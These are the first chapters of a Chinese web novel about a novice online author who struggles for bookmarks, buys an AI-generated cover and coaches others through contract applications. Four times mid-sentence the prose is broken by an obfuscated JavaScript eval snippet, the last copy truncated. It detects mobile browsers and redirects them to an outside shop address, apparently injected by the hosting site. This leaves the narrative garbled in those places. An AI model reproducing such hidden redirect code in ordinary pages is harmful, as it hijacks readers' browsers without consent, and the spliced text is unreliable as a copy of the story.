《霸道榜单爱上我》 1. 马甲犹如内裤 * 一个作者，尤其一个在普江文学城写小说的新人作者，涨收藏是件很困难的事，大家都知道。 困难，不在于从1000到10000，而是从10到100。 为什么不是从0到10？ 因为10个以前，有可能是自己点的。 小作者檀檀就是这样。她距离十个收藏还差三个，便铤而走险，在节日回家时，装作不经意地借来爷爷奶奶还有小表妹的手机，分别注册了三个账号，帮自己点了收藏。 但在这个步骤却出了点意外。只因小表妹虽然未满十四岁，却是个咋咋呼呼、什么都懂的年纪。手机号正在登录加载时，她大声喊道：“姐！你在写小说吗？” 檀檀当场尬住。 首先，一个作者的马甲非常重要，尤其是一个不出名、没挣钱的小作者。 马甲犹如内裤，你可以选择主动跟谁脱，但绝不能被别人强行脱。 于是檀檀不带丝毫犹豫，选择保住内裤：“不是啦，我有个朋友写的书，她托我支持一下。” “哦。”还好小表妹信了。只是檀檀仔细一看，才发现小表妹本身就有普江文学城的账号，再数数那主页象征读者身份等级的星星——这下换檀檀大声问：“你怎么充了这么多钱？” 表妹也当场尬住。 在她妈妈起疑心之前，她也毫不犹豫地大声回道：“是、是我……我同桌的号，借我看看书。” “哦。”檀檀也信了。 选择放过她是因为，过年压岁钱全被没收的表妹，竟然没有选择看盗版。 这令一个小作者深感欣慰。 小表妹嫌弃地扫了一眼这本书的文案：“你那个朋友写得不太行。” 檀檀默默心疼中：“那她该怎么改？” “文案太长了吧，没有人会看完的。我最多能看两三段，就划走了。”她鸡贼的小眼神四处打量，“你知道，在被窝里还得防宿管，哪有那么多耐心读长文案？文案把什么都讲完了，我还看啥？” 檀檀了然，但她无奈，“你要知道，短文案是大神作者才敢用的，新作者用的话只有死路一条。” 小表妹不服气道：“谁说的？顾己卿大大的书，《镜司志异》就是他的第一本，文案才两三行，耐不住他火啊！” 檀檀当然知道顾己卿，他只有一本书，却是普江文学城真正的紫微星，无数人在他专栏打卡，甚至一些作者开文前都要去评论求保佑。 但凡在“大地瓜”APP上热门些的推书博主帖子里逛逛，一定能遇到他的名字。 普江文学城是个女频网站，顾己卿却是男作家，这都能受欢迎，简直离谱。 檀檀“哼”了一声，说不定这就是顾己卿的阴谋，故意选择普江文学城，是因为他知道他的书放在走点文学网这样的男频小说网站，根本不能如此大火呢。 酸归酸，檀檀自己没看过那本著名的《镜司志异》。 小表妹一家在吃过团圆饭后便走了，剩下檀檀独自留在爷爷奶奶家，与二老作伴。 或许是表妹的话成功激起了檀檀的好胜心。次日她就端着一杯袋装粉冲开的咖啡，打开电脑，登录浏览器，点开那个又老又绿又熟悉的页面，被自己的数据暴击。 从昨晚到现在，收藏一个都没变啊！ 还是十个收藏。 不应该啊，她已经严格遵守了作者群里其它小作者的指点，将发布时间选在“三的倍数”这样的整点，昨晚十二点准时发布。怎么会没人看呢？！ 咖啡凉了，她的书也是凉的，她的心更凉。 檀檀咬着嘴唇想了想，从书城首页的霸王票收益榜前三排中，点开那本眼熟的书。 顾己卿…… 顾己卿。 顾己卿，到底厉害在哪？ 她把这本书的第一章草草瞄了一眼，就手欠去搜顾己卿的采访，又翻来覆去地看他的评论区。这什么人啊？居然能在小说里做到剧情线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081081|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 讨好男频读者，感情线又讨好女频读者，两界通吃。影视化选角完美，书粉剧粉不吵架，改编剧爆火之后，又带动书再版一轮，就连卖盗文包的小妹都亲自发帖置顶，帮他呼吁：“我们这儿不卖卿神的文包，这本书只适合看正版！” ——也就是说，他的书过了十年还在多渠道收钱。 这人真是靠那一本《镜司志异》躺平无忧，前无古人后无来者了。 但这本小说并不对檀檀的口味，因为第一章就有5000字！ 檀檀早在签约时，就听说过一个道理：书的前三章，每章不要超过3500字，不然留存率分分钟教你做人。 当然，大神的书不看留存率，只看专栏后面一长串的出版、有声书、影视化标志。 顾己卿才是绑定系统了吧！ 或许，是因为他帅？ 庸俗！ 别人家的大作者，即便有采访，也会保留颜值的神秘感，专注内容。而顾己卿的采访，小编就差没把他的照片360度各放一张。当然，顾己卿没有帅到惊天地泣鬼神的程度，最多也就是大家呼吁他可以亲自演男配而已——因为他书里的男配比男主还好看。 唉！ 总之，檀檀心里酸酸的。都是作者，都是写书的，都是敲键盘换钱，却是云泥之别。她不是说顾己卿卖脸蛋的意思，她只是感叹命运。文人总相轻，可他是紫微星。 这在女频世界是第二大禁忌，因为，女主禁止围着男主转。紫微星又凭什么是男的？！ 难道女频的男主待遇果真太好了？ 凭什么这美好的一切不是发生在自己身上！ 真想让他滚去走点文学网。 …… 几平米的小书房里，传来破防的声音。檀檀不想再研究他的成神之路了，至少今晚。于是彻底关掉网页，重新打开自己的文档。 檀檀在下笔前，便决定好了，她要写的是大女主。 正宗、纯血的，大女主！ 2. 大女主 随着前几年那个叫“大地瓜”的APP流行，女本位观点拥有了可以被广泛讨论的平台。如今，越来越多作品的女本位意识开始觉醒，各平台和媒体也纷纷宣扬相关理念，评论区更是围绕各类女性意识的言论争论不休。 当然，这也不影响许多大女主小说——扑得亲妈都不认识。 毕竟，大女主题材对剧情和文笔的要求都更高。在多方压力与权衡下，很少有作者敢赌上声誉去触碰这个类型。 但檀檀相信，事物的发展需要过程。读过一本本优秀大女主文的读者姐妹们，未必还能接受过去的套路与荼毒。 现在最要紧的事，就是，赶紧写出优秀的大女主！ 檀檀说干就干，立刻开始写文前的工作准备——素材采集。 为了寻找灵感，檀檀打开一包坚果，边吃边打开了“大地瓜”APP，打算最多刷10分钟就收手。 不得不说，大地瓜很懂推送，分分钟就把檀檀喜欢的内容奉至眼前。 “清风上南枝，梦中仍相思，等秋高看山势，再探~” 悠扬的旋律中，淡淡破碎感的古风男模眼尾猩红，蓦然从一堆推文贴中脱颖而出，瞬间攫取了檀檀的全部眸光。 点开。 刷完一个，马上又推送下一个。 彷如无底洞。 一包坚果见了底，男模擦边视频却没有尽头。 可檀檀一下就知道该怎么写书了！ 眼下她那本《她权倾天下之后》正进行到引入感情线的关键处，她却一直没想好该给女主配上什么类型的男主角。 现在她彻底明白了：三个打底，六个不多，九个刚好。 高岭之花、偏执病娇、沉稳持重、温润如玉……大女主就应该全都要！ 好男人要珍惜，坏男人也不能浪费。 灵感来了，檀檀沉浸在创作的世界里无法自拔，唰唰唰便是三千字落地。先不论写得如何，至少字数飞速完成，一举解决了昨日卡文的困境，这令檀檀甚是满意。因收藏纹丝不动、无人问津而来的憋屈感亦一扫而空。 所谓不积跬步，无以至千里。每天欠世界三千字，每天按时偿还，再怎么样，勤能补拙，总归能等到量变引起质变的那一天。 将新章节设置了凌晨12点发布后，檀檀却想起，今天却还有一件事没做。 《她权倾天下之后》缺少一张好看的封面。 普江文学城的作者获取封面的方式无非两种：一是用系统默认的，二是自己上传。 檀檀原本一直用系统默认封面。如今的普江文学城像老奶奶学滑板车，哆哆嗦嗦倒也进步不少。系统封面自定义可选的背景还算美观，还支持修改文字字体与颜色。 但檀檀左看右看自己的默认封面，和书城里那些花里胡哨的漂亮封面一比，总觉得逊人一筹。 或许，这就是收藏不涨的原因？换个醒目点的封面，说不定能让人印象更深。 而要自己上传封面，又分为自己制作和向美工购买两种方式。 檀檀选择了后者。 这又绕不开大地瓜APP了。檀檀听所在作者群聊起过，从前作者找美工做小说封面颇费周折，尤其在普江文学城还是个老站时，美工多聚集在普江的“蘸水”论坛，想约封面还得在那花里胡哨的论坛里跟帖等回复。 如今，联系美工显然容易多了。封面不光能在淘宝买到，在大地瓜APP上也随手可搜。 檀檀只在搜索栏输入“小说封面”四个字，源源不断的推送便涌到眼前。 正当她在眼花缭乱的封面中流连时，时间已不知不觉过去半个多钟头。原来向美工买封面也有这么多门道！ 封面大致分为人设封面、纯排版封面，以及素锦封面。 所谓人设封，便是人物形象配文字； 纯排封则只有文字设计； 而以风景、小元素配文字的，便叫作素锦封。 弄清了种类，选择起来就明确多了。檀檀决定，要为自己的大女主配一张人设封面。 一位名叫“栀子花”的博主，整个主页都是精美独立的人设封面，每一张都让檀檀心动不已。 尤其那一张红衣持剑的长发古风少女，眉目如画，英姿飒爽，正贴合檀檀心目中的大女主人设！ 见帖子标注着“在售”标签，檀檀立刻私信弹出窗口： [请问，这张封面还在吗？] 等回复的过程颇有些漫长，檀檀理解，毕竟美工也是网文创作产业链衍生的一环，封面多数都是十几二十块钱。 若只靠这个当主业，可能会被饿死的。 甚至很多美工本身也是作者，说不定对方此刻也正埋头赶稿，偿还那“倒欠世界的三千字”呢。 “谭沁乐——” 一声来自楼下的大喊，将檀檀从网络世界拽回现实。她蹬蹬蹬跑到窗边，是奶奶爷爷在下面唤她。 “我来啦！！！” 檀檀应得干脆，飞快将毛绒睡衣的外套扣子扣整齐，转身便飞奔下楼。 黄昏已至。阳光不再如午后那样直白慷慨，而是斜斜地、稠稠地，涂抹过楼宇之间的缝隙。 爷爷在小区楼下的空地上摆了一大摊何首乌片，檀檀手脚麻利地帮忙收摊。 老家阳光总是充沛，无论冬夏。这些何首乌是爷爷从山里人那儿收来的野生品种，奶奶把它们洗干净、切成片，再拿到太阳底下晒干。无论炖汤还是泡水洗头，据说都很管用。 爷爷坚信，自己七十高龄还能保持一头还算飘逸的头发，就是常年喝首乌茶、用首乌洗头的功效。 尽管檀檀觉得爷爷那几根稀疏却常青的毛，多半是基因眷顾罢了。毕竟她自己从不认真喝首乌水，也拥有一头锻光滑亮的短发，但她还是在奶奶爷爷晒首乌时积极帮忙。 只因，爷爷常年晒首乌，早就在小区里出名了。千万别小看中老年人购买保健品的热情，他们正是退休工资丰厚、闲钱没处花的年纪，一传十十传百，都来找爷爷买。爷爷也是个狠人，把天然的野生何首乌几十块一斤买进，定制包装后翻倍卖出。 几年下来，竟也赚了十来万，当个零花钱。 如今奶奶切首乌切得越来越利落，爷爷晒得越来越起劲，檀檀有空就回来帮忙，也越发勤快。 “你家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081082|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丫头，现在做什么工作呀？” 邻居老刘头看檀檀手脚麻利的样子，搭话道。 檀檀脸上顿时青一阵白一阵，不好意思开口。 若说了自己是“作者”，免不了还得向老刘头解释“作者”和“作家”的区别。 自打檀檀签约普江文学城以来，虽有了合同，却一分钱稿费都没挣到呢。 有地位的是作家，没地位的只能叫作者。 檀檀还是个小作者，全称是：古言频道的底层小作者。 爷爷却拍拍她的背，认真回道：“我家沁乐现在是文字工作者！你懂吧！” 老刘头洋洋洒洒夸了一通自家孙子，让檀檀默默记住了孙子的收入水平后，又问道：“哦，放假回来，呆多久呀？” 大家都笑眯眯地望着她，等她回答。 其实檀檀自从决心全职写作以来，时间就很自由了。这次回来，也是想多在老家陪陪老人。毕竟只要一台笔记本就能随处办公的灵活性，正是她投身创作的原因之一。 此刻她却窘得厉害，只好打个哈哈将话题绕开，脸颊滚烫地搬起一筐首乌片，飞快转身上楼去了。 用过晚饭，檀檀望着老破绿界面上那纹丝不动的10个收藏，更加下定决心：一定要写出点成绩来。将来好大声告诉老刘头：“我是个作者！” 大！作！者！ 到那时，不仅不用再让爷爷补贴自己，还能在过年时用稿费包个大红包！让奶奶爷爷逢见老刘头就“不经意”提起：“哎呀，孙女非塞这么点心意，推都推不掉……” 可视线落回那一天一夜不曾变动的10个收藏，檀檀又沮丧起来。 不止收藏，连点击都不曾动呀！ 恨只恨流量高悬，独不罩我。 一定是封面的原因！ 檀檀打开大地瓜，私信后台终于有了来自栀子花的回复，她添加了美工的联系方式后，支出一笔账，顺利买下那张心仪的大女主封面。 至此，写文收入，负30元！ 由于檀檀买的是成品图，而非定制图，只需要简单改上书名后，就可以使用。栀子花也是个效率惊人的美工，没到十分钟，檀檀就用上了《她权倾天下之后》的新封面。 好一个傲视天下、风华绝代的大女主。 可惜，大地瓜是懂得推送的。檀檀睡前又刷了一会儿手机，一条帖子推送到她首页。 《美工AI封面实锤，小作者天塌了……》 吃瓜贴的封面上，挂着一个令檀檀无比眼熟的美工主页。 她目瞪口呆，紧接着心慌手抖地点了进去。 发帖人是一位名叫“一颗芹菜”的小作者，内容是她控诉自己在美工“栀子花”那里买了封面，用在普江文学城的作品上，被眼尖的读者识破，这张封面使用了AI生成的人设素材。 读者们连带抵制这篇文，还发了避雷帖。 “一颗芹菜”遂找“栀子花”维权，对方却甩出一张带有免责声明的截图，上面写着“该内容包含AI元素” ——那行字小得像蚂蚁，缩在毫不起眼的角落。 檀檀的脑袋轰一声便炸了。 3. 作者群 但很快，檀檀冷静了下来。 糊果然是最好的保护色。 趁着还无人察觉，她立刻披衣下床，开机登录，迅速换下了那张封面。 接着，檀檀痛心疾首地对照着网上“AI封面识别攻略”自查手上这张图。不查不知道，图层的结构和光影果然有违和感，人物耳蜗的结构更是画得混乱不清。 总之，已经不需要再去质问栀子花了，这分明就是一张AI生成的封面…… 檀檀只恨自己一时疏忽，犯了“以貌取图”的错误。光顾着欣赏人设的脸蛋和衣衫，却忽略了最该细究的画面本质。 她很快联系上了发帖的苦主“一颗芹菜”。 檀檀：[咕咕，太惨了！我也刚买了她的封面。] 一颗芹菜：[咕咕！这个黑心栀子花根本不肯退钱！] “咕咕”是对普江文学城作者的调侃称呼，源于作者断更“放鸽子”的谐音梗。 两人聊下来，发现“栀子花”态度强硬，拒不售后。即便吐槽她的帖子热度不减，也丝毫不影响她继续接单。 毕竟，并非所有小说平台都明确反对使用AI封面。 檀檀只能隔着屏幕和“一颗芹菜”抱团诉苦。两个倒霉蛋越聊越投机，一直聊到深夜，颇有相见恨晚之感，于是顺理成章地交换了联系方式。 次日，醒来的檀檀立刻把亲身经历与血泪忠告发到她所在的作者群中，提醒大家注意。 【普江作者交流6群（199）】 水盛酒：@檀檀，是不是那个栀子花！我差点也买了她的封面。 萌新探头：前辈们，为啥用AI封面在普江特别严重啊？我看别站好像也有用AI封面的。 水盛酒：因为模式不一样。咱们这是实打实的章节付费，读者是真金白银花钱看的。花钱追文的读者，版权意识和对“原创”的要求天然就高。 水盛酒：换个角度想，你是读者，愿意为可能是AI东拼西凑出来的内容付费吗？封面就是门面，门面都“造假”，读者很容易怀疑内容的质量和诚意。 雨绵绵情依依：对对对！我看扒皮帖下面还有人说，在普江，用AI封面等于默认允许读者去看盗文…… 兔仔：就是啊！读者会觉得作者连封面都敷衍，用AI糊弄，我为什么还要正版支持她？口碑一坏，真的救不回来。 水盛酒：所以在普江，原创性是底线。内容要原创，门面也要尽量干净。糊不是借口，态度得先摆正。 栖川：[大拇指表情包] 檀檀：血泪的教训……已经换回系统封面了。虽然丑，但安心。 …… 这个群是檀檀签约普江文学城后，编辑统一拉的新作者群。群里近两百人，几乎都是同一时段签约的，檀檀亲切地称她们为“同期”。 檀檀天性开朗，进群后很快和大家打成一片。这个群里聚拢了好几个“话痨”，消息时常堆到99+，气氛热闹得很。 由于都是新人作者，大家其乐融融，什么都聊，什么都分享。也有互相给对方的小说文案、文名提建议的情况。 群里常说话的都是熟面孔，唯独一个总发表情包的水獭头像，最近格外引人注意。 檀檀确信，这人是后批进群的，除了发表情包，从来没说过话。 她顺手点开资料卡，轻轻“咦”了一声。 男生？ 这与女孩子却填性别男的资料卡不一样，檀檀根据自己敏锐的嗅觉，从对方的头像、签名等方方面面综合得出结论。 这恐怕真是一个男生！ 檀檀立刻在群里将他圈了出来。 【普江作者交流6群（199）】 檀檀：@栖川，有男生！ 兔仔：好稀有！在普江写书的男生吗？你写的什么书？ 不知是不是兔仔的这句话吓到了对方，过了好半天，水獭头像才在聊得火热的群里再次出现。 栖川：…… 栖川：我写的书叫《夺臣妻》 檀檀：哦，原来是强取豪夺赛道。 兔仔：是热梗吗？这个书名我都在书城看过N次啦~ 栖川没有再说话，只是发了个捂脸的表情包。 檀檀猜想，他大概是觉得有人问了却不回不太礼貌。看来是个实心眼的人。 她马上点开栖川头像发送好友申请，并在私聊里提醒道： [你快撤回！作者群里不建议爆马甲！] [你怎么这么老实，问你你就说。] …… 半晌后，檀檀才收到栖川的回复： [那你呢？为何顶着笔名冲浪？] 檀檀觉得他说话怪怪的，却也认真回道： [哎呀，刚进群不懂事嘛，马甲早就脱光了，只是看你新来的，勿走上我的老路。] 栖川没有再回复，檀檀也很快把这事忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081083|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在脑后。 * 今日的三千字，檀檀偿还得格外卡壳，心里还惦记着那出师未捷身先死的30块钱。 自从签约普江以来，她一直入不敷出。为了避免在写作走上正轨前就陷入财务危机，檀檀给自己严格制定了开销计划。 三十块，正好是她一整天的伙食费。 下午照例帮爷爷收好晒干的何首乌片后，她琢磨半晌，还是决定去找倒霉的“一颗芹菜”。 从昨天的扒帖来看，一颗芹菜被波及的书也在古言频道。檀檀对那本书有印象，曾在榜单上见过，颇有些收藏量。 巧的是，一颗芹菜换上AI封面后，被热心读者投稿到了知名的“避雷bot”，那条帖子又恰好有了流量，导致不少网友产生了误解。 檀檀一条条翻着避雷帖下的评论，将心比心，若是自己的书被这样挂出来，遭到一片误解，恐怕心都要碎了。于是，她便想力所能及地帮对方一把。 檀檀：我想到一个办法，或许能帮你挽回一点口碑。 一颗芹菜秒回道：求教！ 隔行如隔山，并非每个作者都能一眼识破AI图。因此，檀檀的建议是：除了道歉加澄清以外，去找画师约一张角色设定图。 一颗芹菜：对啊！重新定制一张封面，让大家看到我道歉的诚意！ 在创作圈里，画师和美工其实有所区别：画师通常进行从无到有的原创绘制，而美工则更多是在获得授权后，对现有素材进行组合与设计。 因此，在画师那里定制一张图的费用，通常也比普通美工高出不少。 虽然贵，却实在有必要。 说干就干。檀檀热心地帮一颗芹菜物色起画师来。两个门外汉凑在一起，对着各自在约稿平台上找来的作品反复比较。 最终，一颗芹菜选定了一位擅长水彩风格形象的画师，檀檀则看中了一位水墨手绘、画风出众的画师。 檀檀很快又与画师相谈甚欢起来，直到爽快地付完定金之后，她才洫然反应过来—— 自己又不需要道歉，跟着瞎订什么画稿啊？ …… 可当她再次凝视着《她权倾天下之后》那张简陋的系统封面，反复读着自己笔下大女主的外貌描写时，又毅然觉得：她确实需要一张漂亮的封面。 她确实需要一个专属的、定制的、独一无二的角色形象。 至此，写文收入：负530元！ 4. 新晋榜 一天过去。 清晨，檀檀又端着咖啡坐回屏幕前，心被那10个纹丝不动的收藏扎得生疼，她忍不住在编辑群里吐了句苦水，换来一句哭笑不得的安慰。 【普江作者交流6群（199）】 水盛酒：@檀檀，好歹不是一觉醒来变成9个收藏，你就知足吧。 兔仔：呜呜呜，我就才掉了一个收藏，伤心死了，快给我涨收！ 水盛酒：@兔仔，你都爬到新晋榜前排了，收藏应该快到300了吧？ 兔仔：现在新晋前排有个屁的流量，我看普江快倒闭了，根本没人看新书啊！ …… 群里又热闹起来，檀檀却悄悄退出了聊天界面。 首先，在普江文学城，作品想要收费，必须先签约，再达到入V标准才行。 群里同期的作者，数据都比檀檀好看不少。尤其是水盛酒，虽然签约时间晚，但人家之前已经写过两三本书，有丰厚的完本经验，并积累了一批老读者，新书一开就自带人气，早就入了V，开始有收入了。 兔仔的书虽是处女作，却因为梗好、文笔灵气，在新晋榜上势头很猛，眼看也快到V线了，入V大概也就是这几天的事。 “新晋作者榜”，是所有新人签约后获得首次曝光的关键机会。 榜单会根据作品积分由高到低自动排名，能进入该榜单的作品，作者须是在平台签约成功30天内。 因此对小作者来说至关重要。 而檀檀是在一个月前才成功签约的。由于申签过程中被拒稿，轮空了两周，她错过了冲击新晋榜的黄金期，后续想要提升收藏也更加困难。 眼看书还没入V，钱包却已接连失守。再这样下去，付费写文怕是要变成“贷款写文”。 檀檀一咬牙：必须想办法回点血。 普江文学城围绕写作这一行，衍生出了不少周边产业，养活了不少人，这在众多小说网站中也算独一份。 画画她不会，做封面也不擅长。檀檀唯一会的，就是比还在签约门槛外挣扎的人多了一份心得体会。 对啊，签约！ 坊间都说，在普江文学城签约堪比“赛博考公”，这话毫不夸张。 所有想签约的作者，都必须在后台提交一份包含 “简纲”、“人设”、“看点”、“创新点” 的申签模板。只有这份模板通过了，编辑才会点开你小说的前三章，决定是否签下你。 这份模板不知难倒了多少人，“千军万马”都栽在这上头，檀檀也不例外。 由于申签人数太多，近年来编辑们拒签时，往往统一归结为“模板”，作者们也因此把被拒戏称为 “模板杀”。 檀檀记得最清楚的，是她第一次申签时信心满满地提交了模板，收到的回复却是：“文笔不错，简纲待改进，人设待改进，创新点待改进，看点待改进。” 她后来才悟过来，这是一句委婉的肯定：“你的所有，都不太行。” 知耻而后勇。那之后，檀檀真是磨破了头皮，一点点查资料、改模板、打磨前三章。 或许有人能靠运气过签，但檀檀全是靠自己一点点试出来的。 古言频道的四大编辑，就每人拒绝过她四次。 这么一轮轮折腾下来，她也算攒足了一肚子的实战经验。 足以教人了！ 说干就干。檀檀立刻花了一下午重温自己的签约笔记，随后用大地瓜账号发了条帖子。 或许是心态有些急于求成，这份急切直接凝成了帖子的标题：《被拒10次才明白：普江签约，真不只是看文笔！》 帖子里，檀檀把自己呕心沥血总结的申签经验毫无保留地全盘托出。 发出去不久，浏览量就涨了起来，不少人点赞收藏，评论区一片“感谢大大”和“夸夸”。 檀檀开心得晚饭都多吃了一碗。盛鸡汤时，奶奶笑呵呵地问她：“什么事这么高兴呀？” 檀檀急匆匆把汤喝完：“没时间和您细说啦！我先回消息去。” 整个晚上，檀檀都沉浸在回复评论的忙碌里，连奶奶洗好的车厘子都顾不上。 直到离零点只剩一小时，她才手忙脚乱地把存稿箱里的一千字修修改改，硬凑成三千字发了出去。 “这几天可能要来‘生意’了，有钱不挣王八蛋，写文那边的心思……先放一放吧。” ——檀檀这么对自己说。 等到第二天，她腾出空，把第二条“有偿带签约”的帖子发了出去。 发完之后，檀檀心里有点惶悚，反复检查帖子里的用词，生怕一个不小心就踩了雷，把自己搭进去。 在普江，“带签约”和“代签约”完全是两回事：前者是经验辅导，后者却是代笔过审的违规操作。两者之间的价格，更是差了十倍不止。 檀檀只想挣点“慢钱”回血，压根不想拿自己的作者生涯去赌。 过了不到半小时，檀檀的后台被不断跳出的消息打乱。消息多到竟让她忍不住怀疑：这年头，难道写书的人比看书的人还多？ 没带过申签的人一定不知道，每天有这么多人前赴后继地扑向签约这条路。 除了心疼这些拼了命研究模版，却一遍一遍被模版“杀”回来的小作者们，檀檀也有点心疼起自己的编辑楚梨来。 自从签约那天起，她就把编辑的对话框置了顶，后来更是有事没事就去“戳”一下： “编编，我这个文名可以吗？” “编编，能帮我看看大纲吗？” “编编，这种题材能写吗？” “编编……” 问题一个接一个。 数不胜数。 而编辑大人每次都如拂春风般回复她。叫她“亲亲”“小宝”，说“可以的呢”，还会温温柔柔地给她加油。 现在想来，这些回复大概都是从批改申签、处理合同、编写论坛公告、安排榜单等等一堆工作中，硬生生挤出的时间。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081084|195315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 自己真不是个东西啊，檀檀痛心疾首。 * 然而，后台询问“带签约”的人虽多，真正成交的却没几个。 檀檀心想，自己毕竟是第一次带人，能不能成功还两说，便参考市场价，把费用定在了40元。 这么算下来，只要带过十几个人，买封面的钱就能回本了。 可她显然小看了这份工作的“含金量”。 整个下午，她都对着发来的文档发愁。 要手把手帮对方梳理模板，从核心梗的打磨、人设的塑造，到前三章的节奏把控……几乎倾囊相授。 忙到深夜，她也只来得及选中其中一个，认真回复。 为了保证质量，保护自己的口碑，檀檀便先推掉了其它人，选了这位同样投稿古言频道的新人。 时间一晃就是三天。檀檀教得极其认真，对方也认真好学，两人又相谈甚欢起来，从申签细节聊到日常琐事，从笔下人物聊到生活点滴，渐渐熟络。 终于，那300字的简纲、50字的人设、看点与创新点，都一一帮对方梳理完毕。在对方正式投稿前，檀檀苦口婆心地叮嘱： 【签约第一招，就是要珍惜“新晋期”。】 “如果之前投过稿，被编辑以模板问题拒了，先别急着灰心。” “以古言频道为例，编辑通常第二天就会回复。古言共有四位编辑，你可以先锁定被拒的那篇文，新建一本继续投。” “等集齐四位编辑的反馈后，再申请注销笔名，重新申签。” “每本书投稿被拒后都有7天冷静期，如果不锁文，下次投稿就得等满7天——那样会白白浪费新晋期的曝光机会。” “如果运气好一次过签，30天的新晋期，至少能完整利用28天。” 这是檀檀用血泪换来的经验。 等到对方终于重新注册好笔名、提交完签约申请，时间已经又过了三天。出结果之前，檀檀比对方还紧张。 毕竟这是她带的第一个人！ 虽然心里没底，甚至做好了不过的准备，可没想到下午五点多，檀檀刚收完何首乌片，手机就叮咚叮咚炸响。 对方发来一串欢天喜地的表情包，最醒目的那张上写着： “妈妈！我考上普江文学城了！” “恭喜！恭喜呀！” 檀檀回完消息，端着装何首乌的簸箕便原地转了个圈圈，自己真是太厉害了！申签虽然被“杀”回多次，带的人却0杀过签。 不就是0杀过签嘛，让作者群里那个“梅子青”再嘚瑟呢~ 这也意味着到了该结算的时候！ 檀檀看着聊天框里对方小心翼翼的询问，心一软，手指比脑子快： “算了，聊得这么开心，就当交个朋友啦！” …… 消息发出，檀檀对着屏幕发了两秒呆，意识到自己干了什么之后，长长叹了口气。 得，又做慈善了。 5. 普江文学城要凉了 好在，这位申签的姐妹并不是个白拿白取的人。 檀檀那句“算了”刚发出去，对方立刻发来一个[摇头]的表情： [不行，必须收！] 紧接着，一条转账通知跳了出来： [对方向你转账400元] 檀檀盯着屏幕，愣了好几秒才反应过来，连忙回绝：[不行不行！这也太多了！] 对方却执意不肯：[老师，您辛辛苦苦帮我这么多天，要是真不收，我就只能拉黑您了。] 得，檀檀算明白了，这位也是个“付费写文”的潜力股。 不过，点击收款后，她又把360元退了回去： [那，说好40就40，我只拿我该拿的。] 本以为这事儿就算结了。没想到刚上楼，手机的转账提示又响起来： [对方向你转账360元] [老师不收，就是辜负我一番心意。] [你可是带我一次过签的！这是你应得的。] [要是觉得过意不去，有空出来面基，请我喝奶茶吧！] 檀檀这才点开对方的资料卡，发现两人离得还挺近。 她住在嘉都，对方在隔壁的庆州市，高铁不过一小时车程。 [好呀。] 檀檀虽然嘴上应着，但涉及线下见面，心里却本能提起一丝防备。 这几天聊下来，对方比“一颗芹菜”的话还多。但彼此都默契地没亮出笔名，马甲捂得严严实实。 有些关系，止步于网络反而更好。 更何况，檀檀没有把写文这件事分享给熟人的癖好。 * 首战告捷！檀檀得意得很，甚至开始相信，自己能一次就带人过签，说明自己多少是有点实力的。 就像一颗暂时蒙尘的明珠，只要坚持打磨，总有一天会发光。 可收过那400块之后，她再回头看自己原先定的“40元”带签价，忽然觉得有点寒酸了。果然是“由奢入俭难”，第一单就开了这么大的口子，胃口不知不觉就被养刁了。 不过，檀檀心里很感激对方，这400块仿佛一个定心丸，回了一大口血。 檀檀拾掇拾掇这次带签的经验，更新在大地瓜的账号里，之后就暂时放在一边，重新捡起自己的书，准备继续更新。 只是！一个睁眼的清晨，她点开数据栏，发现收藏数真的从10掉成了9。 惊天噩耗！ 【普江作者交流6群（199）】 檀檀：@水盛酒，救命啊啊啊！你这个乌鸦嘴，我的收藏真的掉了！！ 檀檀在群里人缘不错，消息一发，顿时炸出一片“哈哈哈”和围观群众。 可檀檀已经听不见笑声了。她只觉得一道闪电劈进天灵盖，正穿透她的心脏，将她为数不多的喜悦击得粉碎。 “谁取关了我的书？谁？！” 一整天，檀檀都在痛惜收藏，拷问自己。 细扒拉她那10个收藏里，3个是亲戚友情支持，1个是自己的小号，剩下的6个，都是她错过新晋榜后，靠辛勤更文，一点点从“育苗榜”和“八仙榜”上攒来的。 